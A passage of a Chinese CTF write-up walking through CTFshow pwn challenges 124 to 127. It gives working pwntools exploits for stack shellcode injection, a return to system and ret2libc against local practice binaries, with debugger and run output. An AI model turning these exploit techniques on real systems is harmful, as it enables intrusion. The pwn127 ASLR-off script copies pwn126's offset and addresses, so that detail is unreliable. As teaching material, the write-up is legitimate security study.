class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX disabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stack:      Executable</span><br><span class="line">    RWX:        Has RWX segments</span><br><span class="line">    Stripped:   No</span><br></pre></td></tr></table></figure><p>32位仅部分开启RELRO保护</p><p>IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> v4; <span class="comment">// [esp-Ah] [ebp-20h]</span></span><br><span class="line">  <span class="type">int</span> v5; <span class="comment">// [esp-6h] [ebp-1Ch]</span></span><br><span class="line">  <span class="type">char</span> s1[<span class="number">14</span>]; <span class="comment">// [esp+0h] [ebp-16h] BYREF</span></span><br><span class="line">  <span class="type">int</span> *p_argc; <span class="comment">// [esp+Eh] [ebp-8h]</span></span><br><span class="line"></span><br><span class="line">  p_argc = &amp;argc;</span><br><span class="line">  init();</span><br><span class="line">  logo();</span><br><span class="line">  __isoc99_scanf(<span class="string">&quot;%s&quot;</span>, s1, v4, v5);</span><br><span class="line">  <span class="keyword">if</span> ( !<span class="built_in">strcmp</span>(s1, <span class="string">&quot;CTFshowPWN&quot;</span>) )</span><br><span class="line">    ctfshow(p_argc);</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Good Luck!~&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>先输⼊⼀个字符串，然后进⼊判断，如果输⼊的是”CTFshowPWN”就进⼊ctfshow函数，跟进ctfshow函数：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">; int __cdecl ctfshow(_DWORD p_argc)</span><br><span class="line">public ctfshow</span><br><span class="line">proc near               ; CODE XREF: main+57↓p</span><br><span class="line"></span><br><span class="line">buf             = byte ptr -3Ah</span><br><span class="line">var_4           = dword ptr -4</span><br><span class="line">p_argc          = dword ptr  8</span><br><span class="line"></span><br><span class="line">; __unwind &#123;</span><br><span class="line">push    ebp</span><br><span class="line">mov     ebp, esp</span><br><span class="line">push    ebx</span><br><span class="line">sub     esp, 44h</span><br><span class="line">call    __x86_get_pc_thunk_ax</span><br><span class="line">add     eax, (offset _GLOBAL_OFFSET_TABLE_ - $)</span><br><span class="line">sub     esp, 4 #栈对齐</span><br><span class="line">push    77h ; &#x27;w&#x27;       ; nbytes</span><br><span class="line">lea     edx, [ebp+buf]</span><br><span class="line">push    edx             ; buf</span><br><span class="line">push    0               ; fd</span><br><span class="line">mov     ebx, eax #保存GOT地址到EBX</span><br><span class="line">call    _read</span><br><span class="line">add     esp, 10h #清理栈上的参数（3个参数共12字节 + 之前的4字节对齐 = 16字节=0x10）</span><br><span class="line">lea     eax, [ebp+buf] #将buf的地址加载到EAX寄存器</span><br><span class="line">call    eax #调用EAX指向的地址（即执行buf中的内容）</span><br><span class="line">nop</span><br><span class="line">mov     ebx, [ebp+var_4]</span><br><span class="line">leave</span><br><span class="line">retn</span><br><span class="line">; &#125; // starts at 804869E</span><br><span class="line">ctfshow         endp</span><br></pre></td></tr></table></figure><p><code>ctfshow</code>函数的核心逻辑是：<strong>读取用户输入（最多 119 字节）到栈上的缓冲区，然后直接执行缓冲区中的内容</strong>。由于程序关闭了 NX 保护（栈可执行），只需向该缓冲区注入 shellcode，即可通过<code>call eax</code>触发执行，最终获取 shell。</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">shellcode = asm(shellcraft.sh())</span><br><span class="line">io.sendline(<span class="string">b&quot;CTFshowPWN&quot;</span>)</span><br><span class="line">io.send(shellcode)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 120</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Linux_Security_Mechanism_Bypass</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : NX disabled &amp; Has RWX segments</span><br><span class="line">    * *************************************</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line"> ctfshow_flag</span><br></pre></td></tr></table></figure><h2 id="pwn125"><a href="#pwn125" class="headerlink" title="pwn125"></a>pwn125</h2><h6 id="Hint：开启了NX，看看汇编多了啥？"><a href="#Hint：开启了NX，看看汇编多了啥？" class="headerlink" title="Hint：开启了NX，看看汇编多了啥？"></a>Hint：开启了NX，看看汇编多了啥？</h6><p>检查保护：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x400000)</span><br><span class="line">    Stripped:   No</span><br></pre></td></tr></table></figure><p>64位开启NX，部分开启RELRO</p><p>IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  init(argc, argv, envp);</span><br><span class="line">  logo();</span><br><span class="line">  ctfshow();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>跟进ctfshow函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line">__int64 <span class="title function_">ctfshow</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  _BYTE v1[<span class="number">8192</span>]; <span class="comment">// [rsp+0h] [rbp-2000h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> __isoc99_scanf(<span class="string">&quot;%s&quot;</span>, v1);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>很明显存在缓冲区溢出漏洞[栈上为<code>var_2000</code>分配了<code>0x2000</code>（8192 字节）空间，但<code>scanf</code>会一直读入直到遇到空格 &#x2F; 换行，完全不检查输入长度。]，常规做法⼀般会如何去做？由于开启了NX，⼀般会考虑使⽤ROP去绕过NX，继续查看发现程序中有system函数地址，找到ez函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">ez</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">return</span> system(<span class="string">&quot;echo &#x27;just_do_it!&#x27;&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>常规做法这⾥不再概述，相信⼤家在前⾯练了这么多应该都会了，我们仔细查看汇编代码（看伪代码看不出来的地⽅）：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">; __int64 ctfshow()</span><br><span class="line">public ctfshow</span><br><span class="line">ctfshow proc near</span><br><span class="line"></span><br><span class="line">var_2000= byte ptr -2000h</span><br><span class="line"></span><br><span class="line">; __unwind &#123;</span><br><span class="line">push    rbp</span><br><span class="line">mov     rbp, rsp</span><br><span class="line">sub     rsp, 2000h</span><br><span class="line">lea     rax, [rbp+var_2000]</span><br><span class="line">mov     rsi, rax</span><br><span class="line">lea     rdi, p__s       ; &quot;%s&quot;</span><br><span class="line">mov     eax, 0</span><br><span class="line">call    ___isoc99_scanf</span><br><span class="line">mov     rdi, rsp</span><br><span class="line">nop</span><br><span class="line">leave</span><br><span class="line">retn</span><br><span class="line">; &#125; // starts at 400760</span><br><span class="line">ctfshow endp</span><br></pre></td></tr></table></figure><p>发现这⾥多出了mov rdi,rsp,这不就是将 rdi 指向了scanf读⼊的数据在内存中的第⼀个位置？利⽤这⼀点可以很简单写⼊”&#x2F;bin&#x2F;sh\x00”</p><p>那么现在我们有了溢出漏洞，有了system，有了”&#x2F;bin&#x2F;sh“，就⾮常简单了</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch = <span class="string">&#x27;amd64&#x27;</span>,os = <span class="string">&#x27;linux&#x27;</span>,log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">call_system = <span class="number">0x400672</span> <span class="comment">#.text:0000000000400672                 call    _system</span></span><br><span class="line">payload = <span class="string">b&quot;/bin/sh\x00&quot;</span> + <span class="string">b&#x27;A&#x27;</span>*(<span class="number">0x2000</span>) + p64(call_system) <span class="comment">#&quot;/bin/sh\x00&quot; + [垃圾数据填充到返回地址] + [system函数的地址]</span></span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 154</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Linux_Security_Mechanism_Bypass</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : Checking the assembly code may <span class="built_in">help</span> you !</span><br><span class="line">    * *************************************</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line"> ctfshow_flag</span><br></pre></td></tr></table></figure><h2 id="pwn126-ubuntu18"><a href="#pwn126-ubuntu18" class="headerlink" title="pwn126(ubuntu18)"></a>pwn126(ubuntu18)</h2><h6 id="Hint："><a href="#Hint：" class="headerlink" title="Hint："></a>Hint：</h6><p>开启NX，但是如果ALSR &#x3D; 0 会发生什么？ [由于远程环境问题，关闭此保护容易引起Docker逃逸等问题，此处远程环境ALSR保护等级为2，但是可以在本地更改为0，并看有什么区别]</p><p>检查保护：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x400000)</span><br><span class="line">    Stripped:   No</span><br></pre></td></tr></table></figure><p>64位开启NX，部分开启RELRO</p><p>IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  init(argc, argv, envp);</span><br><span class="line">  logo();</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Let&#x27;s go&quot;</span>);</span><br><span class="line">  ctfshow();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>跟进ctfshow()：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">ssize_t</span> <span class="title function_">ctfshow</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  _BYTE buf[<span class="number">64</span>]; <span class="comment">// [rsp+0h] [rbp-40h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> read(<span class="number">0</span>, buf, <span class="number">0x77u</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>明显的栈溢出漏洞了，那么我们常规做法，也就是前⾯学习的过程中我们可以使⽤ret2libc轻松绕过</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ROPgadget --binary ./pwn | grep <span class="string">&quot;ret&quot;</span></span><br><span class="line">0x00000000004007a3 : pop rdi ; ret</span><br><span class="line">0x00000000004004c6 : ret</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment">### ret2libc ###</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;/lib/x86_64-linux-gnu/libc.so.6&#x27;</span>)</span><br><span class="line">main = elf.sym[<span class="string">&#x27;main&#x27;</span>]</span><br><span class="line">puts_plt = elf.plt[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">puts_got = elf.got[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">pop_rdi_ret = <span class="number">0x4007a3</span></span><br><span class="line">ret = <span class="number">0x4004c6</span></span><br><span class="line"></span><br><span class="line">payload = cyclic(<span class="number">0x40</span>+<span class="number">8</span>) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)</span><br><span class="line">io.sendlineafter(<span class="string">b&quot;Let&#x27;s go&quot;</span>,payload)</span><br><span class="line"></span><br><span class="line">puts_addr = u64(io.recvuntil(<span class="string">b&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>,<span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">hex</span>(puts_addr))</span><br><span class="line">libc_base = puts_addr - libc.sym[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">bin_sh = libc_base + <span class="built_in">next</span>(libc.search(<span class="string">b&#x27;/bin/sh&#x27;</span>))</span><br><span class="line">system_addr = libc_base + libc.sym[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line"></span><br><span class="line">payload = cyclic(<span class="number">0x40</span>+<span class="number">8</span>) + p64(pop_rdi_ret) + p64(bin_sh) + p64(ret) + p64(system_addr)</span><br><span class="line">io.sendlineafter(<span class="string">b&quot;Let&#x27;s go&quot;</span>,payload)</span><br><span class="line">io.recv()</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><p>依据题⽬描述，我们可知远程环境的ALSR保护为2，我们先在本地改为0,可以发现，我们⽆需去进⾏泄漏地址，直接在gdb调试找到对应地址即可进⾏攻击。</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ gdb ./pwn</span><br><span class="line">pwndbg&gt; r</span><br><span class="line">^c</span><br><span class="line">pwndbg&gt; cyclic(200)</span><br><span class="line">pwndbg&gt; c</span><br><span class="line">...</span><br><span class="line"><span class="comment">#弄崩溃</span></span><br><span class="line">pwndbg&gt; ropper -- --search <span class="string">&quot;pop rdi; ret;&quot;</span></span><br><span class="line">warning: Memory <span class="built_in">read</span> failed <span class="keyword">for</span> corefile section, 4096 bytes at 0xffffffffff600000.</span><br><span class="line">Saved corefile /tmp/tmpsbm9741l</span><br><span class="line">[INFO] Load gadgets <span class="keyword">for</span> section: LOAD</span><br><span class="line">[LOAD] loading... 100%</span><br><span class="line">[INFO] Load gadgets <span class="keyword">for</span> section: LOAD</span><br><span class="line">[LOAD] loading... 100%</span><br><span class="line">[INFO] Load gadgets <span class="keyword">for</span> section: LOAD</span><br><span class="line">[LOAD] loading... 100%</span><br><span class="line">[INFO] Load gadgets <span class="keyword">for</span> section: LOAD</span><br><span class="line">[LOAD] loading... 100%</span><br><span class="line">[LOAD] removing double gadgets... 100%</span><br><span class="line">[INFO] Searching <span class="keyword">for</span> gadgets: pop rdi; ret;</span><br><span class="line"></span><br><span class="line">[INFO] File: /tmp/tmpsbm9741l</span><br><span class="line">0x00000000004007a3: pop rdi; ret;</span><br><span class="line"></span><br><span class="line">pwndbg&gt; ropper -- --search <span class="string">&quot;ret;&quot;</span></span><br><span class="line">warning: Memory <span class="built_in">read</span> failed <span class="keyword">for</span> corefile section, 4096 bytes at 0xffffffffff600000.</span><br><span class="line">Saved corefile /tmp/tmp4e9l8xcp</span><br><span class="line">[INFO] Load gadgets from cache</span><br><span class="line">[LOAD] loading... 100%</span><br><span class="line">[LOAD] removing double gadgets... 100%</span><br><span class="line">[INFO] Searching <span class="keyword">for</span> gadgets: ret;</span><br><span class="line"></span><br><span class="line">[INFO] File: /tmp/tmp4e9l8xcp</span><br><span class="line">0x00000000004004c6: ret;</span><br><span class="line"></span><br><span class="line">pwndbg&gt; p system</span><br><span class="line"><span class="variable">$1</span> = &#123;int (const char *)&#125; 0x7ffff7df8750 &lt;__libc_system&gt;</span><br><span class="line"></span><br><span class="line">pwndbg&gt; search -t string <span class="string">&quot;/bin/sh&quot;</span> libc</span><br><span class="line">Searching <span class="keyword">for</span> string: b<span class="string">&#x27;/bin/sh\x00&#x27;</span></span><br><span class="line">libc.so.6       0x7ffff7f6b42f 0x68732f6e69622f /* <span class="string">&#x27;/bin/sh&#x27;</span> */</span><br><span class="line"></span><br><span class="line">pwndbg&gt; x/s 0x7ffff7f6b42f</span><br><span class="line">0x7ffff7f6b42f:<span class="string">&quot;/bin/sh&quot;</span></span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment">### ALSR = 0 ###</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;/lib/x86_64-linux-gnu/libc.so.6&#x27;</span>)</span><br><span class="line">system = <span class="number">0x7ffff7df8750</span></span><br><span class="line">binsh = <span class="number">0x7ffff7f6b42f</span></span><br><span class="line">pop_rdi = <span class="number">0x4007a3</span> </span><br><span class="line">ret = <span class="number">0x4004c6</span> </span><br><span class="line"></span><br><span class="line">payload = cyclic(<span class="number">0x40</span>+<span class="number">8</span>) + p64(pop_rdi) + p64(binsh) + p64(ret) + p64(system)</span><br><span class="line">io.send(payload)</span><br><span class="line">io.recv()</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 59</span><br><span class="line">[*] <span class="string">&#x27;/PWN/pwn&#x27;</span></span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x400000)</span><br><span class="line">    Stripped:   No</span><br><span class="line">[*] <span class="string">&#x27;/lib/x86_64-linux-gnu/libc.so.6&#x27;</span></span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        PIE enabled</span><br><span class="line">0x7f7cc0123970</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line"></span><br><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 471</span><br><span class="line">[*] <span class="string">&#x27;/CTFshow_pwn/pwn&#x27;</span></span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x400000)</span><br><span class="line">    Stripped:   No</span><br><span class="line">[*] <span class="string">&#x27;/lib/x86_64-linux-gnu/libc.so.6&#x27;</span></span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Full RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        PIE enabled</span><br><span class="line">    FORTIFY:    Enabled</span><br><span class="line">    SHSTK:      Enabled</span><br><span class="line">    IBT:        Enabled</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line"> ctfshow_flag</span><br></pre></td></tr></table></figure><h2 id="pwn127"><a href="#pwn127" class="headerlink" title="pwn127"></a>pwn127</h2><h6 id="Hint：No-PIE"><a href="#Hint：No-PIE" class="headerlink" title="Hint：No PIE"></a>Hint：No PIE</h6><p>检查保护：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x400000)</span><br><span class="line">    Stripped:   No</span><br></pre></td></tr></table></figure><p>64位开启NX，部分开启RELRO</p><p>IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  init(argc, argv, envp);</span><br><span class="line">  logo();</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;See you again!&quot;</span>);</span><br><span class="line">  ctfshow();</span><br><span class="line">  write(<span class="number">0</span>, <span class="string">&quot;Hello CTFshow!\n&quot;</span>, <span class="number">0xEu</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>跟进ctfshow():</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">ssize_t</span> <span class="title function_">ctfshow</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  _BYTE buf[<span class="number">128</span>]; <span class="comment">// [rsp+0h] [rbp-80h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> read(<span class="number">0</span>, buf, <span class="number">0x100u</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>同样的原理，未开启PIE时，仍然可以⽤ret2libc的⽅法,这⾥可以当作对前⾯题⽬的复习</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ROPgadget --binary ./pwn | grep <span class="string">&quot;ret&quot;</span></span><br><span class="line">0x0000000000400803 : pop rdi ; ret</span><br><span class="line">0x0000000000400801 : pop rsi ; pop r15 ; ret</span><br><span class="line">0x00000000004004fe : ret</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment">### ret2libc ###</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;/lib/x86_64-linux-gnu/libc.so.6&#x27;</span>)</span><br><span class="line">main = elf.sym[<span class="string">&#x27;main&#x27;</span>]</span><br><span class="line">puts_plt = elf.plt[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">puts_got = elf.got[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">pop_rdi_ret = <span class="number">0x400803</span></span><br><span class="line">ret = <span class="number">0x4004fe</span></span><br><span class="line"></span><br><span class="line">payload = cyclic(<span class="number">0x80</span>+<span class="number">8</span>) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)</span><br><span class="line">io.sendlineafter(<span class="string">b&quot;See you again!&quot;</span>,payload)</span><br><span class="line"></span><br><span class="line">puts_addr = u64(io.recvuntil(<span class="string">b&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>,<span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">hex</span>(puts_addr))</span><br><span class="line">libc_base = puts_addr - libc.sym[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">bin_sh = libc_base + <span class="built_in">next</span>(libc.search(<span class="string">b&#x27;/bin/sh&#x27;</span>))</span><br><span class="line">system_addr = libc_base + libc.sym[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line"></span><br><span class="line">payload = cyclic(<span class="number">0x80</span>+<span class="number">8</span>) + p64(pop_rdi_ret) + p64(bin_sh) + p64(ret) + p64(system_addr)</span><br><span class="line">io.sendlineafter(<span class="string">b&quot;See you again!&quot;</span>,payload)</span><br><span class="line">io.recv()</span><br><span class="line">io.interactive()</span><br><span class="line"><span class="comment">#用write的话也可以</span></span><br><span class="line"><span class="comment">#0x0000000000400801 : pop rsi ; pop r15 ; ret</span></span><br><span class="line"><span class="comment">#payload = cyclic(0x80+8) + p64(pop_rdi_ret) + p64(1）+ p64(pop_rsi_r15) + p64(write_got) + p64(0) + p64(write_plt) + p64(main)</span></span><br><span class="line"><span class="comment">#payload = cyclic(0x80+8) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_addr)</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 90</span><br><span class="line">[*] <span class="string">&#x27;/PWN/pwn&#x27;</span></span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x400000)</span><br><span class="line">    Stripped:   No</span><br><span class="line">[*] <span class="string">&#x27;/lib/x86_64-linux-gnu/libc.so.6&#x27;</span></span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        PIE enabled</span><br><span class="line">0x7fd9980a3970</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">$ <span class="built_in">ls</span></span><br></pre></td></tr></table></figure><p>gdb调试</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ gdb ./pwn</span><br><span class="line">pwndbg&gt; r</span><br><span class="line">^c</span><br><span class="line">pwndbg&gt; cyclic(200)</span><br><span class="line">pwndbg&gt; c</span><br><span class="line">...</span><br><span class="line"><span class="comment">#弄崩溃</span></span><br><span class="line">pwndbg&gt; ropper -- --search <span class="string">&quot;pop rdi; ret;&quot;</span></span><br><span class="line"></span><br><span class="line">pwndbg&gt; ropper -- --search <span class="string">&quot;ret;&quot;</span></span><br><span class="line"></span><br><span class="line">pwndbg&gt; p system</span><br><span class="line"><span class="variable">$1</span> = &#123;int (const char *)&#125; 0x7ffff7df8750 &lt;__libc_system&gt;</span><br><span class="line"></span><br><span class="line">pwndbg&gt; search -t string <span class="string">&quot;/bin/sh&quot;</span> libc</span><br><span class="line">Searching <span class="keyword">for</span> string: b<span class="string">&#x27;/bin/sh\x00&#x27;</span></span><br><span class="line">libc.so.6       0x7ffff7f6b42f 0x68732f6e69622f /* <span class="string">&#x27;/bin/sh&#x27;</span> */</span><br><span class="line"></span><br><span class="line">pwndbg&gt; x/s 0x7ffff7f6b42f</span><br><span class="line">0x7ffff7f6b42f:<span class="string">&quot;/bin/sh&quot;</span></span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment">### ALSR = 0 ###</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;/lib/x86_64-linux-gnu/libc.so.6&#x27;</span>)</span><br><span class="line">system = <span class="number">0x7ffff7df8750</span></span><br><span class="line">binsh = <span class="number">0x7ffff7f6b42f</span></span><br><span class="line">pop_rdi = <span class="number">0x400803</span></span><br><span class="line">ret = <span class="number">0x4004fe</span></span><br><span class="line"></span><br><span class="line">payload = cyclic(<span class="number">0x40</span>+<span class="number">8</span>) + p64(pop_rdi) + p64(binsh) + p64(ret) + p64(system)</span><br><span class="line">io.send(payload)</span><br><span class="line">io.recv()</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 520</span><br><span class="line">[*] <span 